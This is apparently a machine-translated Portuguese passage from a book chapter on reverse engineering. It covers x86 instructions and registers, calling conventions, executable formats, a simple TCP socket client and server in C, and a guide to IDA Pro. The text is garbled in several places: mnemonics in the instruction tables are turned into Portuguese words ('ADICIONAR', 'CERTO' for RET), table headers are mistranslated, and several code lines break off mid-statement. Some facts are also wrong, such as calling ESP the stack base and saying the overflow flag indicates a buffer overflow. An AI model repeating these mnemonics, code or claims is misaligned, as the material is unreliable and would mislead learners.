executável final, o compilador armazena apenas uma
referência à biblioteca dinâmica e à função necessária. O
sistema operacional deve resolver as referências vinculadas
quando o aplicativo for executado.

A arquitetura x86

Antes de abordar os métodos de engenharia reversa, você


precisará entender os fundamentos da arquitetura de
computadores x86. Para uma arquitetura com mais de 30 anos,
a x86 é surpreendentemente persistente. Ela é usada na maioria
dos computadores desktop e laptops disponíveis atualmente.
Embora o PC tenha sido o lar tradicional da arquitetura x86, ela
também está presente em computadores Mac, consoles de jogos
e até mesmo smartphones.

A arquitetura x86 original foi lançada pela Intel em 1978 com a


CPU 8086. Ao longo dos anos, a Intel e outros fabricantes (como
a AMD) aprimoraram seu desempenho consideravelmente,
passando do suporte a operações de 16 bits para 32 bits e,
agora, para 64 bits. A arquitetura moderna praticamente não
tem nada em comum com o 8086 original, além das instruções
do processador e das expressões idiomáticas de programação.
Devido à sua longa história, a arquitetura x86 é muito
complexa. Primeiro, veremos como o x86 executa o código de
máquina e, em seguida, examinaremos seus registradores de
CPU e os métodos usados para determinar a ordem de
execução.

A Arquitetura do Conjunto de Instruções

Ao discutir como uma CPU executa código de máquina, é


comum falar sobre a arquitetura do conjunto de instruções
(ISA). A ISA define como o código de máquina funciona e como
ele interage com a CPU e o restante do computador. Um
conhecimento prático da ISA é crucial para uma engenharia
reversa eficaz.

A ISA define o conjunto de instruções de linguagem de máquina


disponíveis para um programa; cada instrução individual de
linguagem de máquina é representada por uma instrução
mnemônica. As mnemônicas nomeiam cada instrução e
determinam como seus parâmetros, ou operandos, são
representados. A Tabela 6-1 lista as mnemônicas de algumas
das instruções x86 mais comuns. (Abordarei muitas dessas
instruções com mais detalhes nas seções seguintes.)

Tabela 6-1: Mnemônicos comuns para instruções x86


Instrução Descrição

Destino MOV, Move um valor da origem para o destino.


origem

ADICIONAR Adiciona um valor inteiro ao destino.


destino, valor

Destino SUB, Subtrai um valor inteiro de um destino.


valor

Endereço para Chama a sub-rotina no endereço


ligar especificado.

Endereço JMP Salta incondicionalmente para o


endereço especificado.

RET Retorna de uma sub-rotina anterior

tamanho RETN Retorna de uma sub-rotina anterior e


então incrementa a pilha pelo tamanho
especificado.
Instrução Descrição

Endereço Jcc Salta para o endereço especificado se a


condição indicada por cc for verdadeira.

Valor PUSH Empilha um valor na pilha atual e


decrementa o ponteiro da pilha.

Destino POP Remove o elemento do topo da pilha e o


coloca no destino, incrementando o
ponteiro da pilha.

Valor CMPa, Compara os valores de `valuea` e


valorb `valueb` e define os indicadores
apropriados.

TESTE valora, Executa uma operação AND bit a bit


valorb entre os valores `valuea` e `valueb` e
define os sinalizadores apropriados.

E destino, Executa uma operação AND bit a bit no


valor destino com o valor
Instrução Descrição

OU destino, Executa uma operação OR bit a bit no


valor destino com o valor

Destino XOR, Executa uma operação OU exclusivo bit a


valor bit no destino com o valor

Destino SHL, N Desloca o destino para a esquerda em N


bits (sendo a esquerda os bits mais
significativos).

Destino SHR, N Desloca o destino para a direita em N bits


(sendo a direita os bits menos
significativos).

destino INC Incrementa o destino em 1.

Destino DEC Reduz o destino em 1.


Essas instruções mnemônicas assumem uma de três formas,
dependendo de quantos operandos a instrução requer. A Tabela
6-2 mostra as três formas diferentes de operandos.

Tabela 6-2: Formas mnemônicas da Intel

Número de Forma Exemplos


operandos

0 NOME POP, CERTO

1 Entrada de EMPURRE 1; CHAME


NOME a função

2 Saída NOME, MOV EAX, EBX; ADD


entrada EDI, 1

As duas maneiras mais comuns de representar instruções x86


em assembly são a sintaxe Intel e a sintaxe AT&T. A sintaxe
Intel, originalmente desenvolvida pela Intel Corporation, é a
que utilizo ao longo deste capítulo. A sintaxe AT&T é usada em
muitas ferramentas de desenvolvimento em sistemas do tipo
Unix. As sintaxes diferem em alguns aspectos, como a ordem
em que os operandos são fornecidos. Por exemplo, a instrução
para adicionar 1 ao valor armazenado no registrador EAX seria
representada assim em sintaxe Intel: `ADD EAX, 1` e assim em
sintaxe AT&T: `addl $1, %eax`.

Registros da CPU

A CPU possui diversos registradores para armazenamento


temporário e muito rápido do estado atual de execução. Em x86,
cada registrador é referenciado por um rótulo de dois ou três
caracteres. A Figura 6-2 mostra os principais registradores de
um processador x86 de 32 bits. É essencial compreender os
diversos tipos de registradores que o processador suporta, pois
cada um serve a propósitos diferentes e é necessário para
entender como as instruções operam.

Figura 6-2: Os principais registradores x86 de 32 bits


Os registradores do x86 são divididos em quatro categorias
principais: de propósito geral, de índice de memória, de
controle e de seleção.

Registros de uso geral

Os registradores de propósito geral (EAX, EBX, ECX e EDX na


Figura 6-2) são armazenamentos temporários para valores não
específicos de cálculos, como os resultados de adições ou
subtrações. Os registradores de propósito geral têm 32 bits de
tamanho, embora as instruções possam acessá-los em versões
de 16 e 8 bits usando uma convenção de nomenclatura simples:
por exemplo, uma versão de 16 bits do registrador EAX é
acessada como AX, e as versões de 8 bits são AH e AL. A Figura
6-3 mostra a organização do registrador EAX.

Figura 6-3: Registrador de uso geral EAX com componentes de


registro pequenos

Registros de índice de memória


Os registradores de índice de memória (ESI, EDI, ESP, EBP, EIP)
são, em sua maioria, de uso geral, com exceção dos
registradores ESP e EIP. O registrador ESP é usado pelas
instruções PUSH e POP, bem como durante chamadas de sub-
rotinas, para indicar a localização atual da base da pilha na
memória.

Embora seja possível utilizar o registrador ESP para outros fins


além da indexação da pilha, geralmente não é aconselhável
fazê-lo, pois pode causar corrupção de memória ou
comportamento inesperado. Isso ocorre porque algumas
instruções dependem implicitamente do valor desse
registrador. Por outro lado, o registrador EIP não pode ser
acessado diretamente como um registrador de uso geral, pois
indica o próximo endereço na memória de onde uma instrução
será lida.

A única maneira de alterar o valor do registrador EIP é usando


uma instrução de controle, como CALL, JMP ou RET. Para esta
discussão, o registrador de controle importante é o EFLAGS. O
EFLAGS contém uma variedade de flags booleanas que indicam
os resultados da execução de instruções, como se a última
operação resultou no valor 0. Essas flags booleanas
implementam desvios condicionais no processador x86. Por
exemplo, se você subtrair dois valores e o resultado for 0, a flag
Zero no registrador EFLAGS será definida como 1 e as flags que
não se aplicam serão definidas como 0.

O registrador EFLAGS também contém importantes indicadores


de sistema, como se as interrupções estão habilitadas. Nem
todas as instruções afetam o valor de EFLAGS. A Tabela 6-3 lista
os valores dos indicadores mais importantes, incluindo a
posição do bit do indicador, seu nome comum e uma breve
descrição.

Tabela 6-3: Indicadores de status importantes do EFLAGS

Pedaço Nome Descrição

0 Carregar Indica se um bit de transporte foi


bandeira gerado na última operação.

2 Bandeira de A paridade do byte menos


paridade significativo da última operação.

6 Bandeira Indica se a última operação tem


zero resultado zero; usado em
operações de comparação.
Pedaço Nome Descrição

7 Sinalizar Indica o sinal da última


bandeira operação; efetivamente, o bit
mais significativo do resultado.

11 Flag de Indica se a última operação


estouro causou um estouro de buffer.

Registros de seleção

Os registradores de seleção (CS, DS, ES, FS, GS, SS) endereçam


posições de memória indicando um bloco específico de
memória no qual você pode ler ou escrever. O endereço de
memória real usado na leitura ou escrita do valor é consultado
em uma tabela interna da CPU.

OBSERVAÇÃO

Os registradores de seleção geralmente são usados


apenas em operações específicas do sistema
operacional. Por exemplo, no Windows, o
registrador FS é usado para acessar a memória
alocada para armazenar as informações de
controle da thread atual.

O acesso à memória é feito usando a ordem de bytes little-


endian. Relembrando o Capítulo 3, a ordem little-endian
significa que o byte menos significativo é armazenado no
endereço de memória mais baixo.

Outra característica importante da arquitetura x86 é que ela


não exige que suas operações de memória sejam alinhadas.
Todas as leituras e escritas na memória principal em uma
arquitetura de processador alinhada devem ser alinhadas ao
tamanho da operação. Por exemplo, se você quiser ler um valor
de 32 bits, terá que ler de um endereço de memória que seja um
múltiplo de 4. Em arquiteturas alinhadas, como SPARC, ler um
endereço não alinhado geraria um erro. Por outro lado, a
arquitetura x86 permite que você leia ou escreva em qualquer
endereço de memória, independentemente do alinhamento.

Ao contrário de arquiteturas como a ARM, que usam instruções


especializadas para carregar e armazenar valores entre os
registradores da CPU e a memória principal, muitas das
instruções x86 podem receber endereços de memória como
operandos. De fato, o x86 suporta um formato complexo de
endereçamento de memória para suas instruções: cada
referência de endereço de memória pode conter um registrador
base, um registrador de índice, um multiplicador para o índice
(entre 1 e 8) ou um deslocamento de 32 bits. Por exemplo, a
seguinte instrução MOV combina todas essas quatro opções de
referência para determinar qual endereço de memória contém
o valor a ser copiado para o registrador EAX:

MOV EAX, [ESI + EDI * 8 + 0x50] ; Lê um valor de 32 b

Quando uma referência de endereço complexa como essa é


usada em uma instrução, é comum vê-la entre colchetes.

Fluxo do programa

O fluxo de programa, ou fluxo de controle, é como um


programa determina quais instruções executar. O x86 possui
três tipos principais de instruções de fluxo de programa:
chamada de sub-rotina, desvios condicionais e desvios
incondicionais. A chamada de sub-rotina redireciona o fluxo do
programa para uma sub-rotina — uma sequência específica de
instruções. Isso é feito com a instrução CALL, que altera o
registrador EIP para o endereço da sub-rotina. A instrução
CALL coloca o endereço de memória da próxima instrução na
pilha atual, o que indica ao fluxo do programa para onde
retornar após a execução da sub-rotina. O retorno é realizado
usando a instrução RET, que altera o registrador EIP para o
endereço do topo da pilha (o endereço colocado pela instrução
CALL).

Os desvios condicionais permitem que o código tome decisões


com base em operações anteriores. Por exemplo, a instrução
CMP compara os valores de dois operandos (talvez dois
registradores) e calcula os valores apropriados para o
registrador EFLAGS. Internamente, a instrução CMP faz isso
subtraindo um valor do outro, definindo o registrador EFLAGS
conforme apropriado e, em seguida, descartando o resultado. A
instrução TEST faz o mesmo, exceto que realiza uma operação
AND em vez de uma subtração.

Após o cálculo do valor de EFLAGS, um desvio condicional pode


ser executado; o endereço para o qual o desvio salta depende do
estado de EFLAGS. Por exemplo, a instrução JZ realizará um
salto condicional se o flag Zero estiver definido (o que ocorreria
se, por exemplo, a instrução CMP comparasse dois valores
iguais); caso contrário, a instrução não executará nenhuma
operação. Lembre-se de que o registrador EFLAGS também
pode ser configurado por instruções aritméticas e outras
instruções. Por exemplo, a instrução SHL desloca o valor de um
destino em um determinado número de bits, de baixo para alto.
O fluxo de programa com desvio incondicional é implementado
por meio da instrução JMP, que simplesmente salta
incondicionalmente para um endereço de destino. Não há
muito mais a dizer sobre desvio incondicional.

Noções básicas de sistemas operacionais

Compreender a arquitetura de um computador é importante


tanto para a engenharia reversa estática quanto para a
dinâmica. Sem esse conhecimento, é difícil entender o que uma
sequência de instruções faz. Mas a arquitetura é apenas parte
da história: sem o sistema operacional gerenciando o hardware
e os processos do computador, as instruções não seriam muito
úteis. Aqui, explicarei alguns dos conceitos básicos de como um
sistema operacional funciona, o que ajudará você a entender os
processos de engenharia reversa.

Formatos de Arquivos Executáveis

Os formatos de arquivo executáveis definem como os arquivos


executáveis são armazenados em disco. Os sistemas
operacionais precisam especificar os executáveis que suportam
para que possam carregar e executar programas. Ao contrário
de sistemas operacionais mais antigos, como o MS-DOS, que não
tinham restrições quanto aos formatos de arquivo que podiam
ser executados (quando executados, os arquivos contendo
instruções eram carregados diretamente na memória), os
sistemas operacionais modernos têm muito mais requisitos que
exigem formatos mais complexos.

Alguns requisitos de um formato executável moderno incluem:

• Alocação de memória para instruções executáveis e dados

• Suporte para vinculação dinâmica de bibliotecas externas

• Suporte para assinaturas criptográficas para validar a origem


do executável

• Manutenção de informações de depuração para vincular o


código executável ao código-fonte original para fins de
depuração.

• Uma referência ao endereço no arquivo executável onde o


código começa a ser executado, geralmente chamado de
endereço inicial (necessário porque o endereço inicial do
programa pode não ser a primeira instrução no arquivo
executável).

O Windows utiliza o formato Portable Executable (PE) para


todos os executáveis e bibliotecas dinâmicas. Os executáveis
geralmente usam a extensão .exe e as bibliotecas dinâmicas
usam a extensão .dll. O Windows não precisa dessas extensões
para que um novo processo funcione corretamente; elas são
usadas apenas por conveniência.

A maioria dos sistemas do tipo Unix, incluindo Linux e Solaris,


usa o formato ELF (Executable Linking Format) como seu
formato executável principal. A principal exceção é o macOS,
que usa o formato Mach-O.

Seções

As seções de memória são provavelmente as informações mais


importantes armazenadas em um executável. Todos os
executáveis não triviais terão pelo menos três seções: a seção de
código, que contém o código de máquina nativo do executável;
a seção de dados, que contém dados inicializados que podem
ser lidos e gravados durante a execução; e uma seção especial
para conter dados não inicializados. Cada seção tem um nome
que identifica os dados que ela contém. A seção de código
geralmente é chamada de `text`, a seção de dados é chamada
de `data` e os dados não inicializados são chamados de `bss`.

Cada seção contém quatro informações básicas:

• Um nome de texto
• O tamanho e a localização dos dados da seção contida no
arquivo executável

• O tamanho e o endereço de memória onde os dados devem ser


carregados

• Flags de proteção de memória, que indicam se a seção pode


ser escrita ou executada quando carregada na memória.

Processos e Threads

Um sistema operacional deve ser capaz de executar múltiplas


instâncias de um executável simultaneamente sem que elas
entrem em conflito. Para isso, os sistemas operacionais definem
um processo, que atua como um contêiner para uma instância
de um executável em execução. Um processo armazena toda a
memória privada que a instância precisa para operar, isolando-
a de outras instâncias do mesmo executável. O processo
também representa uma barreira de segurança, pois é
executado sob a identidade de um usuário específico do sistema
operacional, e decisões de segurança podem ser tomadas com
base nessa identidade.

Os sistemas operacionais também definem um fluxo de


execução, o que permite que o sistema operacional alterne
rapidamente entre múltiplos processos, dando ao usuário a
impressão de que todos estão sendo executados
simultaneamente. Isso é chamado de multitarefa. Para alternar
entre processos, o sistema operacional precisa interromper o
que a CPU está fazendo, armazenar o estado do processo atual e
restaurar o estado de um processo alternativo. Quando a CPU
retoma suas atividades, ela está executando outro processo.

Uma thread define o estado atual de execução. Ela possui seu


próprio bloco de memória para uma pilha e um local para
armazenar seu estado quando o sistema operacional a encerra.
Um processo geralmente possui pelo menos uma thread, e o
limite do número de threads em um processo é tipicamente
controlado pelos recursos do computador.

Para criar um novo processo a partir de um arquivo executável,


o sistema operacional primeiro cria um processo vazio com seu
próprio espaço de memória alocado. Em seguida, o sistema
operacional carrega o executável principal no espaço de
memória do processo, alocando memória com base na tabela de
seções do executável. Depois, uma nova thread é criada,
chamada thread principal.

O programa de vinculação dinâmica é responsável por vincular


as bibliotecas de sistema do executável principal antes de
retornar ao endereço inicial original. Quando o sistema
operacional inicia a thread principal, a criação do processo está
concluída.

Interface de Rede do Sistema Operacional

O sistema operacional deve gerenciar o hardware de rede de


um computador para que ele possa ser compartilhado entre
todos os aplicativos em execução. O hardware conhece muito
pouco sobre protocolos de nível superior, como TCP/IP,
portanto, o sistema operacional deve fornecer implementações
desses protocolos de nível superior.

O sistema operacional também precisa fornecer uma maneira


para os aplicativos interagirem com a rede. A API de rede mais
comum é o modelo de sockets Berkeley, originalmente
desenvolvido na Universidade da Califórnia, Berkeley, na
década de 1970 para o BSD. Todos os sistemas do tipo Unix têm
suporte integrado para sockets Berkeley. No Windows, a
biblioteca Winsock fornece uma interface de programação
muito semelhante. O modelo de sockets Berkeley é tão
difundido que você certamente o encontrará em uma ampla
gama de plataformas.

Criando uma conexão simples de cliente TCP com um


servidor
Para entender melhor como funciona a API de sockets, o
Exemplo 6-1 mostra como criar uma conexão de cliente TCP
simples com um servidor remoto.

int port = 12345;


const char* ip = "[Link]";
sockaddr_in addr = {0};

➊ int s = socket(AF_INET, SOCK_STREAM, 0);

addr.sin_family = PF_INET;
➋ addr.sin_port = htons(port);
➌ inet_pton(AF_INET, ip, &addr.sin_addr);
➍ if(connect(s, (sockaddr*) &addr, sizeof(addr)) == 0

char buf[1024];
➎ int len = recv(s, buf, sizeof(buf), 0);

➏ send(s, buf, len, 0);


close(s);

Listagem 6-1: Um cliente de rede TCP simples

A primeira chamada à API cria um novo socket. O parâmetro


AF_INET indica que queremos usar o protocolo IPv4. (Para usar
IPv6, escreveríamos AF_INET6). O segundo parâmetro,
SOCK_STREAM, indica que queremos usar uma conexão de
streaming, que na internet significa TCP. Para criar um socket
UDP, escreveríamos SOCK_DGRAM (para socket de datagrama).

Em seguida, construímos um endereço de destino com addr,


uma instância da estrutura sockaddr_in definida pelo sistema.
Configuramos a estrutura de endereço com o tipo de protocolo,
a porta TCP e o endereço IP TCP. A chamada para inet_pton
converte a representação em string do endereço IP em ip para
um inteiro de 32 bits.

Note que, ao configurar a porta, a função htons é usada para


converter o valor da ordem de bytes do host (que para x86 é
little-endian) para a ordem de bytes da rede (sempre big-
endian). Isso também se aplica ao endereço IP. Nesse caso, o
endereço IP [Link] se tornará o inteiro 0x01020304 quando
armazenado no formato big-endian.

A etapa final consiste em emitir a chamada para conectar-se ao


endereço de destino ➍. Este é o principal ponto de falha, pois
neste momento o sistema operacional precisa fazer uma
chamada de saída para o endereço de destino para verificar se
há algo escutando. Quando a nova conexão de socket é
estabelecida, o programa pode ler e gravar dados no socket
como se fosse um arquivo, através das chamadas de sistema
recv ➎ e send ➏. (Em sistemas do tipo Unix, também é possível
usar as chamadas gerais de leitura e gravação, mas não no
Windows.)

Criando uma conexão de cliente com um servidor TCP

A Listagem 6-2 mostra um trecho do outro lado da conexão de


rede, um servidor de socket TCP muito simples.

sockaddr_in bind_addr = {0};

int s = socket(AF_INET, SOCK_STREAM, 0);

bind_addr.sin_family = AF_INET;
bind_addr.sin_port = htons(12345);
➊ inet_pton("[Link]", &bind_addr.sin_addr);

➋ bind(s, (sockaddr*)&bind_addr, sizeof(bind_addr));


➌ listen(s, 10);

sockaddr_in client_addr;
int socksize = sizeof(client_addr);
➍ int newsock = accept(s, (sockaddr*)&client_addr, &s

// Faça algo com o novo socket

Listagem 6-2: Um servidor de socket TCP simples

O primeiro passo importante ao conectar-se a um servidor de


socket TCP é associar o socket a um endereço na interface de
rede local, como mostrado em ➊ e ➋. Isso é efetivamente o
oposto do caso do cliente na Listagem 6-1, porque inet_pton() ➊
apenas converte um endereço IP em formato binário. O socket é
associado a todos os endereços de rede, como indicado por
"[Link]", embora este pudesse ser um endereço específico na
porta 12345.

Em seguida, o socket é vinculado a esse endereço local ➋. Ao


vinculá-lo a todas as interfaces, garantimos que o socket do
servidor estará acessível de fora do sistema atual, como pela
internet, desde que não haja nenhum firewall bloqueando o
caminho.

Finalmente, a listagem solicita à interface de rede que escute


novas conexões de entrada ➌ e aceite chamadas ➍, que
retornam a próxima nova conexão. Assim como no cliente, este
novo socket pode ser lido e gravado usando as chamadas recv e
send.

Ao se deparar com aplicativos nativos que utilizam a interface


de rede do sistema operacional, você precisará rastrear todas
essas chamadas de função no código executável. Seu
conhecimento de como os programas são escritos no nível da
linguagem de programação C será valioso quando você estiver
analisando o código reverso em um desassemblador.

Interface Binária de Aplicação

A interface binária de aplicação (ABI) é uma interface definida


pelo sistema operacional para descrever as convenções de
como um aplicativo chama uma função da API. A maioria das
linguagens de programação e sistemas operacionais passa
parâmetros da esquerda para a direita, o que significa que o
parâmetro mais à esquerda no código-fonte original é colocado
no endereço mais baixo da pilha. Se os parâmetros forem
construídos inserindo-os em uma pilha, o último parâmetro é
inserido primeiro.

Outro aspecto importante a considerar é como o valor de


retorno é fornecido ao chamador da função quando a chamada
da API é concluída. Na arquitetura x86, desde que o valor seja
menor ou igual a 32 bits, ele é retornado no registrador EAX. Se
o valor estiver entre 32 e 64 bits, ele é retornado em uma
combinação de EAX e EDX.

Tanto EAX quanto EDX são considerados registradores


temporários na ABI, o que significa que seus valores não são
preservados entre chamadas de função: em outras palavras, ao
chamar uma função, o chamador não pode contar com que
qualquer valor armazenado nesses registradores ainda exista
quando a chamada retornar. Esse modelo de designação de
registradores como temporários é feito por razões pragmáticas:
permite que as funções gastem menos tempo e memória
salvando registradores que podem não ser modificados de
qualquer forma. De fato, a ABI especifica uma lista exata de
quais registradores devem ser salvos em um local na pilha pela
função chamada.

A Tabela 6-4 contém uma breve descrição da finalidade típica


da atribuição de um registrador. A tabela também indica se o
registrador deve ser salvo ao chamar uma função para que seu
valor original seja restaurado antes do retorno da função.

Tabela 6-4: Lista de Registros Salvos

Cadastre- Uso de ABI Salvo?


se

EAX Utilizado para passar o valor de Não


retorno da função.

EBX Registro de uso geral Sim

ECX Usado para loops locais e Não


contadores, e às vezes para passar
ponteiros de objetos em linguagens
como C++.

EDX Utilizado para valores de retorno Não


estendidos

EDI Registro de uso geral Sim

ESI Registro de uso geral Sim


Cadastre- Uso de ABI Salvo?
se

EBP Ponteiro para a base do quadro de Sim


pilha válido atual

ESP Ponteiro para a base da pilha Sim

A Figura 6-4 mostra uma função add() sendo chamada no


código assembly da função print_add(): ela coloca os
parâmetros na pilha (PUSH 10), chama a função add() (CALL
add) e, em seguida, limpa a pilha (ADD ESP, 8). O resultado da
adição é retornado de add() através do registrador EAX, que é
então impresso no console.
Figura 6-4: Chamada de função em código assembly

Engenharia Reversa Estática

Agora que você tem uma compreensão básica de como os


programas são executados, vamos analisar alguns métodos de
engenharia reversa. A engenharia reversa estática é o processo
de dissecar um executável de aplicativo para determinar o que
ele faz. Idealmente, poderíamos reverter o processo de
compilação para o código-fonte original, mas isso geralmente é
muito difícil. Em vez disso, é mais comum desmontar o
executável.
Em vez de atacar um binário apenas com um editor
hexadecimal e uma referência ao código de máquina, você pode
usar uma das muitas ferramentas para desmontar binários.
Uma dessas ferramentas é o objdump, baseado em Linux, que
simplesmente imprime a saída da desmontagem no console ou
em um arquivo. Depois, cabe a você navegar pela desmontagem
usando um editor de texto. No entanto, o objdump não é muito
amigável ao usuário.

Felizmente, existem desassembladores interativos que


apresentam o código desassemblado de forma que você possa
inspecionar e navegar facilmente. De longe, o mais completo
deles é o IDA Pro, desenvolvido pela empresa Hex Rays. O IDA
Pro é a ferramenta ideal para engenharia reversa estática e
suporta muitos formatos executáveis comuns, bem como quase
qualquer arquitetura de CPU. A versão completa é cara, mas
também há uma versão gratuita disponível. Embora a versão
gratuita desassembla apenas código x86 e não possa ser usada
em um ambiente comercial, ela é perfeita para você se
familiarizar com um desassemblador. Você pode baixar a
versão gratuita do IDA Pro no site da Hex Rays em
[Link] A versão gratuita é apenas para
Windows, mas deve funcionar bem com o Wine no Linux ou
macOS. Vamos dar uma olhada rápida em como usar o IDA Pro
para dissecar um binário de rede simples.
Guia rápido para usar a versão gratuita do IDA Pro

Após a instalação, inicie o IDA Pro e selecione o executável


desejado clicando em Arquivo ▸ Abrir. A janela Carregar um
novo arquivo deverá aparecer (veja a Figura 6-5).

Esta janela exibe várias opções, mas a maioria é para usuários


avançados; você só precisa considerar algumas opções
importantes. A primeira opção permite que você escolha o
formato executável que deseja inspecionar ➊. A opção padrão
na figura, Executável portátil, geralmente é a escolha correta,
mas é sempre melhor verificar. O Tipo de processador ➋
especifica a arquitetura do processador; o padrão é x86. Essa
opção é especialmente importante ao desmontar dados binários
para arquiteturas de processador incomuns. Quando tiver
certeza de que as opções escolhidas estão corretas, clique em
OK para iniciar a desmontagem.

As opções que você escolher dependerão do executável que está


tentando desmontar. Neste exemplo, estamos desmontando um
executável do Windows que usa o formato PE com um
processador x86. Para outras plataformas, como macOS ou
Linux, você precisará selecionar as opções apropriadas. O IDA
fará o possível para detectar o formato necessário para
desmontar o seu alvo, portanto, normalmente você não
precisará escolher. Durante a desmontagem, ele fará o possível
para encontrar todo o código executável, anotar as funções e os
dados descompilados e determinar as referências cruzadas
entre as áreas da desmontagem.

Figura 6-5: Opções para carregar um novo arquivo

Por padrão, o IDA tenta fornecer anotações para nomes de


variáveis e parâmetros de funções, caso os conheça, como ao
chamar funções comuns da API. Para referências cruzadas, o
IDA encontrará os locais na desmontagem onde dados e código
são referenciados: você pode consultá-los durante a engenharia
reversa, como verá em breve. A desmontagem pode demorar
bastante. Quando o processo estiver concluído, você terá acesso
à interface principal do IDA, conforme mostrado na Figura 6-6.

Na interface principal do IDA, há três janelas importantes às


quais você deve prestar atenção. A janela em ➋ é a visualização
padrão de desmontagem. Neste exemplo, ela mostra a
visualização gráfica do IDA Pro, que costuma ser muito útil
para visualizar o fluxo de execução de uma função individual.
Para exibir uma visualização nativa mostrando a desmontagem
em formato linear com base no endereço de carregamento das
instruções, pressione a barra de espaço. A janela em ➌ mostra o
status do processo de desmontagem, bem como quaisquer erros
que possam ocorrer se você tentar executar uma operação no
IDA que ele não reconheça. As abas das janelas abertas estão
em ➊.

Você pode abrir janelas adicionais no IDA selecionando Exibir


▸ Abrir subvisualizações. Aqui estão algumas janelas que você
quase certamente precisará e o que elas exibem:

A visualização do IDA mostra a desmontagem do executável.


Exportações: Mostra todas as funções exportadas pelo
executável.

Importações: Mostra quaisquer funções vinculadas


dinamicamente a este executável em tempo de execução.

Funções Exibe uma lista de todas as funções que o IDA Pro


identificou.

A seção "Strings" exibe uma lista de strings imprimíveis que o


IDA Pro identificou durante a análise.
Figura 6-6: A interface principal do IDA Pro
Figura 6-7: O botão Voltar da janela de desmontagem do IDA
Pro

Dos cinco tipos de janela listados, os quatro últimos são


basicamente listas de informações. A Janela IDA é onde você
passará a maior parte do tempo durante a engenharia reversa,
pois ela exibe o código desmontado. Você pode navegar
facilmente pela desmontagem na Janela IDA. Por exemplo,
clique duas vezes em qualquer elemento que pareça um nome
de função ou referência de dados para navegar
automaticamente até a localização da referência. Essa técnica é
especialmente útil ao analisar chamadas para outras funções:
por exemplo, se você vir `CALL sub_400100`, basta clicar duas
vezes na parte `sub_400100` para ser direcionado diretamente
para a função. Você pode retornar à função que fez a chamada
original pressionando a tecla ESC ou o botão Voltar, destacado
na Figura 6-7.
Na verdade, você pode navegar para frente e para trás na janela
de desmontagem como faria em um navegador da web. Quando
encontrar uma string de referência no texto, mova o cursor de
texto até a referência e pressione X ou clique com o botão
direito e escolha "Ir para xref para operando" para abrir uma
caixa de diálogo de referência cruzada que mostra uma lista de
todos os locais no executável que fazem referência a essa
função ou valor de dados. Clique duas vezes em uma entrada
para navegar diretamente para a referência na janela de
desmontagem.

OBSERVAÇÃO

Por padrão, o IDA gera nomes automáticos para os


valores referenciados. Por exemplo, as funções são
nomeadas como sub_XXXX, onde XXXX é o seu
endereço de memória; o nome loc_XXXX indica
locais de desvio na função atual ou locais que não
estão contidos em uma função. Esses nomes podem
não ajudar a entender o que a desmontagem está
fazendo, mas você pode renomear essas
referências para torná-las mais significativas. Para
renomear referências, mova o cursor para o texto
da referência e pressione N ou clique com o botão
direito e selecione Renomear no menu. As
alterações no nome devem ser propagadas para
todos os locais onde a referência é feita.

Analisando variáveis e argumentos da pilha

Outra funcionalidade da janela de desmontagem do IDA é a


análise de variáveis e argumentos da pilha. Quando discuti as
convenções de chamada em "Interface Binária de Aplicação" na
página 123, indiquei que os parâmetros geralmente são
passados pela pilha, mas que a pilha também armazena
variáveis locais temporárias, usadas pelas funções para
armazenar valores importantes que não cabem nos
registradores disponíveis. O IDA Pro analisará a função e
determinará quantos argumentos ela recebe e quais variáveis
locais utiliza. A Figura 6-8 mostra essas variáveis no início de
uma função desmontada, bem como algumas instruções que as
utilizam.
Figura 6-8: Uma função desmontada mostrando variáveis locais
e argumentos.

Você pode renomear essas variáveis locais e argumentos e


consultar todas as suas referências cruzadas, mas as
referências cruzadas para variáveis locais e argumentos
permanecerão dentro da mesma função.

Identificação das principais funcionalidades

Em seguida, você precisa determinar onde o executável que


está desmontando lida com o protocolo de rede. A maneira mais
direta de fazer isso é inspecionar todas as partes do executável,
uma a uma, e determinar o que elas fazem. Mas, se você estiver
desmontando um grande produto comercial, esse método é
muito ineficiente. Em vez disso, você precisará de uma maneira
de identificar rapidamente as áreas de funcionalidade para
análise posterior. Nesta seção, discutirei quatro abordagens
típicas para isso, incluindo a extração de informações
simbólicas, a verificação de quais bibliotecas são importadas
para o executável, a análise de strings e a identificação de
código automatizado.

Extraindo informações simbólicas

Compilar o código-fonte em um executável nativo é um


processo que gera perda de dados, especialmente quando o
código inclui informações simbólicas, como nomes de variáveis
e funções ou a forma de estruturas na memória. Como essas
informações raramente são necessárias para que um
executável nativo funcione corretamente, o processo de
compilação pode simplesmente descartá-las. No entanto,
descartar essas informações torna muito difícil depurar
problemas no executável gerado.

Todos os compiladores suportam a capacidade de converter


informações simbólicas e gerar símbolos de depuração com
informações sobre a linha de código-fonte original associada a
uma instrução na memória, bem como informações de tipo
para funções e variáveis. No entanto, os desenvolvedores
raramente deixam símbolos de depuração intencionalmente,
optando por removê-los antes do lançamento público para
evitar que outras pessoas descubram seus segredos comerciais
(ou código defeituoso). Mesmo assim, às vezes os
desenvolvedores cometem erros, e você pode se aproveitar
desses deslizes para auxiliar na engenharia reversa.

O IDA Pro carrega símbolos de depuração automaticamente


sempre que possível, mas às vezes você precisará localizá-los
manualmente. Vamos analisar os símbolos de depuração
usados pelo Windows, macOS e Linux, bem como onde as
informações simbólicas são armazenadas e como fazer o IDA
carregá-las corretamente.

Quando um executável do Windows é compilado usando


compiladores comuns (como o Microsoft Visual C++), as
informações de símbolos de depuração não são armazenadas
dentro do executável; em vez disso, são armazenadas em uma
seção do executável que fornece a localização de um arquivo de
banco de dados do programa (PDB). Na verdade, todas as
informações de depuração são armazenadas neste arquivo PDB.
A separação dos símbolos de depuração do executável facilita a
distribuição do executável sem as informações de depuração,
ao mesmo tempo que torna essas informações prontamente
disponíveis para depuração.
Os arquivos PDB raramente são distribuídos com executáveis,
pelo menos em softwares proprietários. Mas uma exceção
muito importante é o Microsoft Windows. Para auxiliar na
depuração, a Microsoft disponibiliza símbolos públicos para a
maioria dos executáveis instalados como parte do Windows,
incluindo o kernel. Embora esses arquivos PDB não contenham
todas as informações de depuração do processo de compilação
(a Microsoft remove informações que não deseja tornar
públicas, como informações detalhadas de tipo), eles ainda
contêm a maioria dos nomes de funções, que geralmente é o
que se deseja. O resultado é que, ao realizar engenharia reversa
de executáveis do Windows, o IDA Pro deve procurar
automaticamente o arquivo de símbolos no servidor de
símbolos públicos da Microsoft e processá-lo. Se você tiver o
arquivo de símbolos (porque ele veio com o executável),
carregue-o colocando-o ao lado do executável em um diretório
e, em seguida, peça ao IDA Pro para desmontar o executável.
Você também pode carregar arquivos PDB após a desmontagem
